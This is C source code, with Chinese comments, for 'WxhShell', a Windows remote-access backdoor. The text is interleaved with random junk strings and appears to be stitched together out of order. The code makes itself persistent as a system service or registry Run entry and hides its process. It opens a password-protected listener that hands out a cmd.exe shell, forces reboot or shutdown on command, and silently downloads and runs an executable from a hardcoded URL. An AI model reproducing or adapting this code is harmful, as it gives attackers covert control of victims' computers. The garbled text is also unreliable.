g_pGetModuleBaseName = NULL ; Yr|4Fl~U !Z6{9sKR=] HANDLE hProcess; o !7va" PROCESS_BASIC_INFORMATION pbi; <oeIcN7d v-Sd*( 6 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6w7 7YTJ if(NULL == hInst ) return 0; 3$JoDL(Z @%SQFu@FJ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W_ZJ0GuE( g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @o.I ;}*N NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !_(Tqyg& W{aY}` if (!NtQueryInformationProcess) return 0; A %-6`> Qwc"[N4H hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?h2}#wg if(!hProcess) return 0; `y0FY&y= zBH2@d3W if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WEpoBP
CL V43H/hl CloseHandle(hProcess); )`}:8y? aQ~s`^D hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xN(|A}w if(hProcess==NULL) return 0; !!y a .wr>]yN HMODULE hMod; nj4/#W char procName[255]; dqAw5[qMJ unsigned long cbNeeded; eDB ;cN BerwI
7!= if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K|@G t%Y 2Rz CloseHandle(hProcess); QS j]ZA L%5%T;0'~ if(strstr(procName,"services")) return 1; // 以服务启动 %>s|j'{ p4)Q&k! return 0; // 注册表启动 ^C%<l(b } ctV,Q3'Z "w_aM7x_ // 主模块 i?;Kq~, int StartWxhshell(LPSTR lpCmdLine) 'f|o{ { L rPkxmR SOCKET wsl; y?!"6t7& BOOL val=TRUE; T
1t6p& int port=0; *|l/6!WM struct sockaddr_in door; CQ2jP
G*py <7$1kGlA if(wscfg.ws_autoins) Install(); ^}C\zW jqkqZF port=atoi(lpCmdLine); 8EEuv-aeo F5#YOck&, if(port<=0) port=wscfg.ws_port; H:\k}*w "h ^Z WSADATA data; )CyS#j#= if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2BobH_H J-4:H
gx if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; b>$S<td setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !%>7Dw(kt door.sin_family = AF_INET; bN88ua}k{ door.sin_addr.s_addr = inet_addr("127.0.0.1"); Hr4}3.8 door.sin_port = htons(port); O1kl70,`R L4f3X~8,b if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9C i-v/M] closesocket(wsl); cGD(.= return 1; DeYV$W
B } yppo6HGD &-=5Xc+Z if(listen(wsl,2) == INVALID_SOCKET) { u-C)v*#L closesocket(wsl);
WN<zkM~3 return 1; QdC<Sk!G } a}uSm/S Wxhshell(wsl); *9i{,I@ WSACleanup(); s9d_GhT%- L_s:l9!r return 0; v9UD%@tZ :j`sr } ~v"L!=~G;a m4yL@d,Yw // 以NT服务方式启动 '%`:+]! VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fxIf|9Qi` { JMM W DWORD status = 0; [fIg{Q DWORD specificError = 0xfffffff; c0fo7| I2^8pTLh serviceStatus.dwServiceType = SERVICE_WIN32; <^uBoKB/f serviceStatus.dwCurrentState = SERVICE_START_PENDING; bs'n+:X` serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]0\MmAJRn serviceStatus.dwWin32ExitCode = 0; VD\=`r)nT serviceStatus.dwServiceSpecificExitCode = 0; t()c=8qF|u serviceStatus.dwCheckPoint = 0; r"R#@V\'1b serviceStatus.dwWaitHint = 0; ri.I pRe zv"Z DRW hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x$%!U[!3 if (hServiceStatusHandle==0) return; I`p;F!s as_PoCoss status = GetLastError(); 5 u0HI if (status!=NO_ERROR) ;({W#Wa { NgCvVWto serviceStatus.dwCurrentState = SERVICE_STOPPED; @ry_nKr9 serviceStatus.dwCheckPoint = 0; ]g&TKm serviceStatus.dwWaitHint = 0; y^%y<~f serviceStatus.dwWin32ExitCode = status; IaXeRq?< serviceStatus.dwServiceSpecificExitCode = specificError; .6'qoo_N SetServiceStatus(hServiceStatusHandle, &serviceStatus); tnG# IU
* return; pHJ3nHLQ } 6K<K Tu 7QCr5* serviceStatus.dwCurrentState = SERVICE_RUNNING; r>U@3%0& serviceStatus.dwCheckPoint = 0; O8.5}>gDn. serviceStatus.dwWaitHint = 0; "w.3Q96r if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3%ZOKb"D* } *=c1do%F mdgi5v // 处理NT服务事件,比如:启动、停止 VU d\QR- VOID WINAPI NTServiceHandler(DWORD fdwControl) baK$L;Xo: { "FKOaQ%IH switch(fdwControl) #N cK
X { b>N8F^}~O case SERVICE_CONTROL_STOP: uRr o?m< serviceStatus.dwWin32ExitCode = 0; 4_cqT/ serviceStatus.dwCurrentState = SERVICE_STOPPED; 0_t`%l= serviceStatus.dwCheckPoint = 0; ZJ[
??=Gz serviceStatus.dwWaitHint = 0; d<N:[Y\4l { aAA U{EWW SetServiceStatus(hServiceStatusHandle, &serviceStatus); o.l-7 } e@OX_t_ return; {8%a5DiM case SERVICE_CONTROL_PAUSE: w*JGUk serviceStatus.dwCurrentState = SERVICE_PAUSED; $ DSZO!pB break; ,nB5/Lx case SERVICE_CONTROL_CONTINUE: xlg9TvvI serviceStatus.dwCurrentState = SERVICE_RUNNING; q%?in+l break; H+Sz=tg5 case SERVICE_CONTROL_INTERROGATE: 1 Ya`| ?FS break; A$:U'ZG_ }; j ?(&# SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^M>P:~ } KMjhZap% v oj^pzZ // 标准应用程序主函数 s}% M4 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l2P=R)@{ { W1=H8O p"ZG%Ow5Q] // 获取操作系统版本 P(z++A& OsIsNt=GetOsVer(); 1HZO9cXJ GetModuleFileName(NULL,ExeFile,MAX_PATH); ';=O 0)u =rCIumqD-} // 从命令行安装 pD#rnp>WWt if(strpbrk(lpCmdLine,"iI")) Install(); .UY^oR=b{ KNIn:K^/ // 下载执行文件 )f<z%:I+Z if(wscfg.ws_downexe) { u^qT2Ss0 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ah+iZ}E% WinExec(wscfg.ws_filenam,SW_HIDE); wx0j(:B] } X*@dj_, xx%j.zDI] if(!OsIsNt) { r
# cGop] // 如果时win9x,隐藏进程并且设置为注册表启动 _8_R 1s HideProc(); psMvq@> StartWxhshell(lpCmdLine); *6DB0X_-} } g~A`N=r;h else -:y,N
9^ if(StartFromService()) P! #[mio // 以服务方式启动 +s DV~\Vu StartServiceCtrlDispatcher(DispatchTable); T <ET
)D7 else &AbNWtCV+G // 普通方式启动 -0x
# StartWxhshell(lpCmdLine); 8&`LYdzt J,y[[CdH` return 0; wyO4Y } }oGA-Qc}B y ~!Zg}o 'Xq|Kf ( o]M5b;1 ===========================================
DwE[D]7o 8i#2d1O !58@pLJw !\.pq 2 ]*[ 2$ XG{zlOD+ " &H/'rd0M D (?DW}Rqs #include <stdio.h> iN8zo:&Z #include <string.h> M {T-iW" #include <windows.h> 4-H+vNG{% #include <winsock2.h> "8jf81V* #include <winsvc.h> 7/@TF/V #include <urlmon.h> A1>OY^p3% 70tH:Z)" #pragma comment (lib, "Ws2_32.lib") WX|`1b #pragma comment (lib, "urlmon.lib") ~^fZx5 j0evq+ #define MAX_USER 100 // 最大客户端连接数 G[I"8iS, #define BUF_SOCK 200 // sock buffer JL}_72gs #define KEY_BUFF 255 // 输入 buffer P'[3Fqe EC!02S #define REBOOT 0 // 重启 Mc_YPR:C #define SHUTDOWN 1 // 关机 9u}Hmb lbl?k5 #define DEF_PORT 5000 // 监听端口 a>I+]`g _
y8Wn}19f #define REG_LEN 16 // 注册表键长度 'Nnz k #define SVC_LEN 80 // NT服务名长度 ""F5z,' jc[Y}gd, // 从dll定义API O$j7i:G'5 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '3DXPR^B6 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F {4bo$~> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PB`Y
g typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xvl#w 3z9d!I^>k // wxhshell配置信息 &n}f? struct WSCFG { %JD,$pPs int ws_port; // 监听端口 ^{;oM^Q' char ws_passstr[REG_LEN]; // 口令 Z<y I\1 int ws_autoins; // 安装标记, 1=yes 0=no [KaAXv
.X char ws_regname[REG_LEN]; // 注册表键名 ^-Kf']hU char ws_svcname[REG_LEN]; // 服务名 V0.vQ/ char ws_svcdisp[SVC_LEN]; // 服务显示名 jaMjZp;{( char ws_svcdesc[SVC_LEN]; // 服务描述信息 s;Z\Io char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dx{bB%?Y\= int ws_downexe; // 下载执行标记, 1=yes 0=no u^bidd6JRn char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (G4at2YLd char ws_filenam[SVC_LEN]; // 下载后保存的文件名 # 0Q]dO hl (hJfp }; 1&evG-#<: sRL`dEl4l // default Wxhshell configuration >xYpNtEs struct WSCFG wscfg={DEF_PORT, m6&~HfwN "xuhuanlingzhe", O/a4]r+_ 1, ]kRfB:4ED "Wxhshell", _] sn0rX "Wxhshell", uHvp;]/0\ "WxhShell Service", lC("y'
:: "Wrsky Windows CmdShell Service", a85$K$b> "Please Input Your Password: ", xU>WEm2 1, RD'Q :W "http://www.wrsky.com/wxhshell.exe", ex9g?*Q "Wxhshell.exe" #9}D4i.`} }; D] jzAx lVR~Bh // 消息定义模块 T?soJ]A char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?2;&O`x* char *msg_ws_prompt="\n\r? for help\n\r#>"; ag#S6E^%S char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z.9U}F char *msg_ws_ext="\n\rExit."; mD0f<gJ1 char *msg_ws_end="\n\rQuit."; m=A(NKZ
char *msg_ws_boot="\n\rReboot..."; >G*eNn char *msg_ws_poff="\n\rShutdown..."; foF({4q7b^ char *msg_ws_down="\n\rSave to "; ](9Xvy i,E{f char *msg_ws_err="\n\rErr!"; wQH<gJE/: char *msg_ws_ok="\n\rOK!"; rc>4vB_ha K>r,(zgVc char ExeFile[MAX_PATH]; )=Z>#iH1 int nUser = 0; ]J} HANDLE handles[MAX_USER]; 3kIN~/<R+7 int OsIsNt; +N9X/QFKV ?{|q5n SERVICE_STATUS serviceStatus; \y)rt ) SERVICE_STATUS_HANDLE hServiceStatusHandle; w\}ieI8J % X+:o]T // 函数声明 ~'iHo]9O int Install(void); '()xHEGl3 int Uninstall(void); }=UHbU.n~! int DownloadFile(char *sURL, SOCKET wsh); E$:*NSXj int Boot(int flag); W*4-.*U8a void HideProc(void); o"Euwh!!
int GetOsVer(void); O=&0 H|B int Wxhshell(SOCKET wsl); m!4ndO;0vh void TalkWithClient(void *cs); Ins`l int CmdShell(SOCKET sock); )}]g]
g int StartFromService(void); S)k*?dQ##R int StartWxhshell(LPSTR lpCmdLine); I<4Pur>" gsvuE VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oMD>Ywc- VOID WINAPI NTServiceHandler( DWORD fdwControl ); D},>mfzF 5k3n\sqZA // 数据结构和表定义 <fjX[l<Uz SERVICE_TABLE_ENTRY DispatchTable[] = |`f$tj { Av$^ {wscfg.ws_svcname, NTServiceMain}, 7 60Y$/Wz {NULL, NULL} ?m=N]!n }; 1k5Who@ :q7Wy&ow // 自我安装 dh*ZKI^@( int Install(void) .b&t;4q { *_{j=sd char svExeFile[MAX_PATH]; a
%'the HKEY key; _AYK435>N strcpy(svExeFile,ExeFile); o\<ULW* *@r/5pM2} // 如果是win9x系统,修改注册表设为自启动 69?wc! if(!OsIsNt) { Un(aW=PQ0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M~#g RAUJ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xe'x[(l RegCloseKey(key); bv9]\qC]T< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n Fg~< $d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !/*\}\'4 RegCloseKey(key); r
CHl?J return 0; )!Z*.? } -M~:lK]n } -.@r#d/ } @* jz
o else { y8Z_Itlf }wjw:M // 如果是NT以上系统,安装为系统服务 "3"V3w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cAqLE\h if (schSCManager!=0) vq0Tk
bzs { 2dcV"lY SC_HANDLE schService = CreateService E`0? ( UA0Bzoky; schSCManager, r1m]HFN wscfg.ws_svcname, ]z;I_- wscfg.ws_svcdisp, qQ/^@3tXL SERVICE_ALL_ACCESS, #7$
H SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mh{d8<Q2 SERVICE_AUTO_START, $Sx'sA2 SERVICE_ERROR_NORMAL, R)(T^V`{ svExeFile, omu|yCK NULL, ufZDF=$7 NULL, 7P5)Z-K[ NULL, Rz:]\jcIT/ NULL, F>6|3bOR NULL b:m88AG ); gNrjo= if (schService!=0) UiP"Ixg6 { o.g V4% CloseServiceHandle(schService); f#"J]p CloseServiceHandle(schSCManager); {
Fb*&|-n strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n)e
6>R; strcat(svExeFile,wscfg.ws_svcname); vHc%z$-d if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @#>rYAb8, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SC!RbW@3 RegCloseKey(key); FP`b>E qOH return 0; AW'0,b`v } 7~%?# } 3`|@H-c9 CloseServiceHandle(schSCManager); G1tY) _-8[ } rjAn@!|:+ } r:'.nhe o5O#vW2Il& return 1; c?*=|}N } k[YS8g-Q z`}qkbvi // 自我卸载
1;8UC;, int Uninstall(void) S-b/S5 { ?V.cOR`6 HKEY key; TR`U-= jH, 8)3*6+D if(!OsIsNt) { (9GWbB? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tBWrL{xLe RegDeleteValue(key,wscfg.ws_regname); rmm0/+jY RegCloseKey(key); *?>T,gx} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E \EsWb RegDeleteValue(key,wscfg.ws_regname); u8g~ RegCloseKey(key); TnA-;Ha return 0; J#(LlCs?@c } FFpT~. } }W8;=$jr } fc3{sZE2M else { [;yOBF W:nef<WH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); On.{!:"I/ if (schSCManager!=0) rJTa { q5+4S5R*^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $dC?Tl|B0 if (schService!=0) EU;9*W< { eHZws`W if(DeleteService(schService)!=0) {
(@VMH !3 CloseServiceHandle(schService); 70nqD>M4 CloseServiceHandle(schSCManager); D%Sl AzZ3 return 0; X-Kh(Z } 2(+2+} CloseServiceHandle(schService); q`a'gJx#y } "|
g>'wM* CloseServiceHandle(schSCManager); @%uUiP0 } @ioJ]$o7 } U&OJXJdj 6l1jMm|=
X return 1; g2ixx+`?|: } Y('#jU hH3RP{'= // 从指定url下载文件 h"Q8b}$^) int DownloadFile(char *sURL, SOCKET wsh) b3[!V{| { !hy-L_wL] HRESULT hr; zxl@(hd char seps[]= "/"; UnV.~ u~ char *token; 3M7/?TMw{6 char *file; H@>` F char myURL[MAX_PATH]; i$#;Kpb`^ char myFILE[MAX_PATH]; 5H9z4-i x? AKfDXy strcpy(myURL,sURL); Eyqa?$R token=strtok(myURL,seps); I6av6t} while(token!=NULL) -3*]G^y2 { o#Dk&
cH file=token; 4.aZ#c91_ token=strtok(NULL,seps); + GN(Ug'R } s^9Voi.y ^
VyKd GetCurrentDirectory(MAX_PATH,myFILE); 7Q9 w?y~c strcat(myFILE, "\\"); NwvC[4 strcat(myFILE, file); ?e4YGOe. send(wsh,myFILE,strlen(myFILE),0); An0|[ uWH send(wsh,"...",3,0); bsli0FJSh' hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T3<4B!UB& if(hr==S_OK) rXP,\ ]r+ return 0; AV]2euyn else :eCwY return 1; &
J'idYD 3;9^ } WE#^a6 V2EUW!gn
2 // 系统电源模块 f'RX6$}\1X int Boot(int flag) >uRI'24 { 'JE`(xD HANDLE hToken; V=l0(03j~ TOKEN_PRIVILEGES tkp; V1zmG y Gb6 'n$g if(OsIsNt) { ebhXak[w OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u&vf+6=9Dd LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); khxnlry tkp.PrivilegeCount = 1; +\]\[6 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t{9GVLZ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \V63qg[ if(flag==REBOOT) { g:@#@1rB6 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oZgjQM$YP return 0; h(dvZ=
% } ^{`exCwMx else { .~;\eW [ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?l{nk5,?-Y return 0; 4pF*"B } !;A\.~-!G } \gaw6S>n} else { Wn2NMXK if(flag==REBOOT) { @Nx9) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hn@08t G return 0; U7F!Z(
9 } KV *#T20T else { JH9J5%sp if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S%>]q
s return 0; 0s[Hkhls } + &Eqk } iYoMO["X 7JH6A'& return 1; ES7s1O$# } ouQ T M6jy\<a // win9x进程隐藏模块 d7upz]K9g void HideProc(void) q|(HsLs { g!|kp? ;6$jf:2m HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KZE,bi:~ if ( hKernel != NULL ) rb.N~ { $UWZDD pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6bC3O4Rw ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _`T_">9r FreeLibrary(hKernel); ?fSG'\h> } S,UDezxg
v!5 `|\ return; a1lh-2xX } T8$y[W-c A;M'LM- M // 获取操作系统版本 u6JM]kR int GetOsVer(void) rEWb" { Svmy(w~m OSVERSIONINFO winfo; Y$_B1_ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |Rk@hzM2S GetVersionEx(&winfo); DvvK^+-~ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GD$l||8 return 1; )y$(AJx$ else ;.980+i1 return 0; ;e *!S}C, } %h!B^{0 sO@Tf\d // 客户端句柄模块 zrb}_ int Wxhshell(SOCKET wsl) B]tQ(s~ { O\r0bUPE SOCKET wsh; ~9@UjQ^)F struct sockaddr_in client; kxv1Hn"`{E DWORD myID; .ioEIs g hwv/AnX~O while(nUser<MAX_USER) \4fQMG { .Q2V}D85 int nSize=sizeof(client); rey!{3U wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =aW9L)8D if(wsh==INVALID_SOCKET) return 1; %.|@]!C Km$\:Xo handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9%9#_?RW if(handles[nUser]==0) bk[!8-b/a closesocket(wsh); NzvXN1_% else +I28|*K" nUser++; \9T7A& } K$=zi}J W WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6'f;-2 #H~64/ return 0; M\BRcz } 0g8NHkM:2a K-Ef%a2#` // 关闭 socket ]Y&VT7+Z void CloseIt(SOCKET wsh) ;$g?T~v7 { @r1_U,0e closesocket(wsh); f/?P514h nUser--; r~['VhI!;E ExitThread(0); sW\!hW1*x } S_H+WfIHV' dR]m8mdqc1 // 客户端请求句柄 pQB."[n void TalkWithClient(void *cs) y6BAH { V0mn4sfs Ny/MJ#Lq SOCKET wsh=(SOCKET)cs; *vMn$,^0h9 char pwd[SVC_LEN]; )^hbsMhO char cmd[KEY_BUFF]; ?S=mybp char chr[1]; J{G?-+` int i,j; C0Z=~Q% d<Tc7vg4|U while (nUser < MAX_USER) { {'H(g[k \ Cj7k^ if(wscfg.ws_passstr) { f|gg if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aN3;`~{9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?a]mDx>xh //ZeroMemory(pwd,KEY_BUFF); )4 ;`^]F i=0; +=)+'q]S while(i<SVC_LEN) { jebx40TA3 qH_Dc=~la // 设置超时 "m>81-0 fd_set FdRead; Vxt+]5X struct timeval TimeOut; BZ^}J!Q'* FD_ZERO(&FdRead); oXgcc*j FD_SET(wsh,&FdRead); )+Pus~w TimeOut.tv_sec=8; BMf@M TimeOut.tv_usec=0; \~ wMfP8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $ ocdI5 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9lE_nc >yDZw!C if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); />>\IR pwd=chr[0]; _)-o1`*- if(chr[0]==0xd || chr[0]==0xa) { mX|ojZ pwd=0; 7{Wny&[0 break; dAj$1Ke } Znv,9- i++; %&bY]w } gBD]}vo- *X}`PF // 如果是非法用户,关闭 socket sDV Q#}a if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Cgc\
ah } cB&:z)i4 zbPqYhJzA send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RD&PDXT4 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z3!`J& -s/ea~=R while(1) { u]@['7 tq?!-x+> ZeroMemory(cmd,KEY_BUFF); TL#3;l^ +"VP-s0 // 自动支持客户端 telnet标准 )`D:F>p* j=0; 2J;g{95z while(j<KEY_BUFF) { /Ci<xmP if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;A[Q2(w+ cmd[j]=chr[0]; $ME)#( if(chr[0]==0xa || chr[0]==0xd) { Z?z.?ar cmd[j]=0; ?
=+WRjF break; I2Yz#V<%ru } Z/J y'$x j++; #$y?v%^ } T[A69O]v Ga'swP=hf // 下载文件 WX0tgXl if(strstr(cmd,"http://")) { ?z
u8)U send(wsh,msg_ws_down,strlen(msg_ws_down),0); ig &Y if(DownloadFile(cmd,wsh)) E4xa[iZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); !f6(Zho else @=kSo
-SX send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lw5`p,` } OZ!^ak else { F4{IEZ >&k-'`Nw switch(cmd[0]) { {]|J5Dgfe ^Zp>G{QL{ // 帮助 dcT80sOC case '?': {
j
<RrLn_ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _<2E"PrT break; 0qT%!ku& } ?G&ikxl // 安装 c[Zje7 @ case 'i': { %u5]>]M+ if(Install()) ;jTN| i' send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7"xd1l?zz else {FTqu. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !0E&@X:- break; WOf 4o } ]M'=^32 // 卸载 L&OwPd case 'r': { pY$Q if(Uninstall()) }4S6Xe send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;6hOx(>`= else Dn }Jxu'( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2dgd~
break; !5?<% * } =E{`^IT'R // 显示 wxhshell 所在路径 da~],MN case 'p': { 3{(/x1a,4 char svExeFile[MAX_PATH]; ua `RJ strcpy(svExeFile,"\n\r"); NW)1#]gg% strcat(svExeFile,ExeFile); gv{ >`AN send(wsh,svExeFile,strlen(svExeFile),0); j1HW._G break; ^y4Z+Gu[ } /|&*QLy // 重启 kz7(Z'pw case 'b': { Fea(zJ_ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /JU.?M35 if(Boot(REBOOT)) IdxzE_@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); vSLtFMq^( else { G<;*SYAb closesocket(wsh); c_l"I9M#r ExitThread(0); ;IM}|2zuN } HLHz2-lI break; qb` \)X]9 } f'3$9x // 关机 VgS_s k case 'd': { O%HHYV%[m send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,wdD8ZT'Ip if(Boot(SHUTDOWN)) 9@)O_@= send(wsh,msg_ws_err,strlen(msg_ws_err),0); HiJE}V;Vq else { Y:)e(c"A closesocket(wsh); B^jc3 VsR ExitThread(0); t@+}8^M } m<2M4u break; BJo*'US-Q } ?5 [=(\/. // 获取shell W'u># case 's': { vEz"xz1j!] CmdShell(wsh); _2 osV[e closesocket(wsh); 5d!-G$@ ExitThread(0); yJe>JK~) break; ZWp(GC1NA } c-FcEW // 退出 t.\dpBq case 'x': { i<g-+ Qs send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Yk Qd
CloseIt(wsh); t9IW/Q break; 57'4ljvYi } U_c *6CK // 离开 H~z`]5CN case 'q': { ,izO{@We2{ send(wsh,msg_ws_end,strlen(msg_ws_end),0); QUQ'3 closesocket(wsh); `,*5wBC WSACleanup(); 1D!<'`)AY exit(1); #
c^z&0B} break; WvZ8/T'x } }|5Pr(I } Fh9h,'
V" } 4#hSJ(~7S gt w Q- // 提示信息 )B8$<sv if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r^ ZEImjc } lBGQEP3; } K8Y=S12Ti uOdl*| T? return; c<$OA=n } EI^C{$Y G[q$QB+ // shell模块句柄 CYYU7 int CmdShell(SOCKET sock) Uq`'}Vo { 2WYPO"q STARTUPINFO si; fvxu#m= ZeroMemory(&si,sizeof(si)); {h`uV/5@` si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >`ZyG5 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; | (_ PROCESS_INFORMATION ProcessInfo; HT1!5 char cmdline[]="cmd"; A1zjPG&] CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x{WD;$J return 0; "wh ,Ue } fPW@{~t "OnGE$ // 自身启动模式 K0Fh%Y4)QH int StartFromService(void) s.NGA.]$ { WaR`Kp+> typedef struct #$qTFN { \6*I'|5d DWORD ExitStatus; hTi$.y!k DWORD PebBaseAddress; #|PS&}6wU DWORD AffinityMask; Z!X0U7&U DWORD BasePriority; ~Vjl7G\7i ULONG UniqueProcessId; q.`NtsW!\+ ULONG InheritedFromUniqueProcessId; k7A-J\ } PROCESS_BASIC_INFORMATION; h2;F 5iydZ PROCNTQSIP NtQueryInformationProcess;
zi`o#+ y;@:ulv[ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "o}+Ciul static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =P
#] Aj+F
|l HANDLE hProcess; 1Nd2{( PROCESS_BASIC_INFORMATION pbi;
t[
C/
x>`%DwoRI HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (mt k 4 if(NULL == hInst ) return 0; _MX>#!l O55 xS+3^k g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !5uGd`^I g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cJ
